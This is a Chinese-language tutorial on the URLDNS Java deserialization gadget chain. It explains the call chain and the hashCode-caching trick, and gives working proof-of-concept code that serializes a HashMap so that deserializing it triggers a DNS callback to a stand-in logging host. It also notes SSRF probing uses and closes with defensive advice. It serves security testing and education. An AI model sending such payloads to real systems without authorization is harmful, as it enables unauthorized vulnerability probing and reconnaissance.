JAVA反序列化之URLDNS链
字数 1104 2025-08-20 18:17:59
Java反序列化漏洞利用:URLDNS链详解
一、URLDNS链概述
URLDNS是ysoserial工具中最简单的一条反序列化利用链,具有以下显著优点:
- 完全基于Java内置类构造,不依赖任何第三方库
- 在目标没有回显时,可通过DNS请求验证漏洞存在
- 简单可靠,适合作为反序列化漏洞的检测手段
二、Java反序列化挖掘的三个关键方面
- 入口类:支持序列化且重写了readObject方法的类
- 目标类:包含可利用方法的类
- 执行函数:最终实现RCE、文件上传或SSRF等效果的方法
三、URLDNS链核心原理分析
1. 调用链分析
完整的调用链如下:
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
2. 关键类解析
-
HashMap:重写了反序列化的readObject()方法
- readObject()方法调用hash()方法
- hash()方法调用Key值的hashCode方法
-
URL类:
- 可序列化且实现了hashCode方法
- hashCode方法调用getHostAddress()
- getHostAddress()最终调用InetAddress.getByName(),会发起DNS查询
四、技术细节与注意事项
1. put方法的干扰
HashMap的put方法也会调用hash()方法,导致DNS请求提前触发:
hashmap.put(url,1);
// 实际调用链:
// HashMap.put() -> putVal() -> hash() -> URL.hashCode()
这会带来两个问题:
- 产生误报,让我们误以为反序列化成功
- URL对象的hashCode会被缓存,导致后续反序列化时不再触发DNS请求
2. hashCode缓存机制
URL类的hashCode实现有缓存机制:
public synchronized int hashCode() {
if (hashCode != -1) // 如果已计算过hashCode则直接返回
return hashCode;
hashCode = handler.hashCode(this); // 首次计算
return hashCode;
}
3. 解决方案:反射修改hashCode
通过反射技术可以绕过hashCode缓存:
- 创建URL对象后,立即用反射将其hashCode设为非-1的值
- 执行put操作(此时不会触发DNS请求)
- 再用反射将hashCode重置为-1
- 序列化对象后,反序列化时会重新计算hashCode,触发DNS请求
五、完整利用代码示例
public static void main(String[] args) throws Exception {
// 1. 创建HashMap和URL对象
HashMap<URL, Integer> hashmap = new HashMap<>();
URL url = new URL("http://yourdnslog.example.com");
// 2. 获取URL类的Class对象
Class c = url.getClass();
// 3. 使用反射修改hashCode初始值
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 123); // 设为任意非-1值
// 4. 将URL对象放入HashMap(此时不会触发DNS)
hashmap.put(url, 1);
// 5. 重置hashCode为-1,确保反序列化时重新计算
hashCodeField.set(url, -1);
// 6. 序列化对象
serialize(hashmap);
// 反序列化时会触发DNS请求
}
六、实际应用场景
- 漏洞检测:当目标系统存在反序列化漏洞但无回显时,可通过DNS日志确认漏洞
- 无依赖探测:不依赖任何第三方库,适用于各种Java环境
- SSRF探测:除了DNS请求,也可用于探测内网服务
七、防御建议
- 避免反序列化不可信数据
- 使用白名单机制限制可反序列化的类
- 升级JDK,使用最新的安全补丁
- 使用安全的替代方案如JSON、XML等数据格式
八、总结
URLDNS链是Java反序列化漏洞利用中最简单、最可靠的检测方式,通过精心构造的序列化对象,利用Java内置类的特性触发DNS请求,无需依赖第三方库即可验证漏洞存在。理解其原理不仅有助于安全测试,也能帮助开发者更好地防御此类漏洞。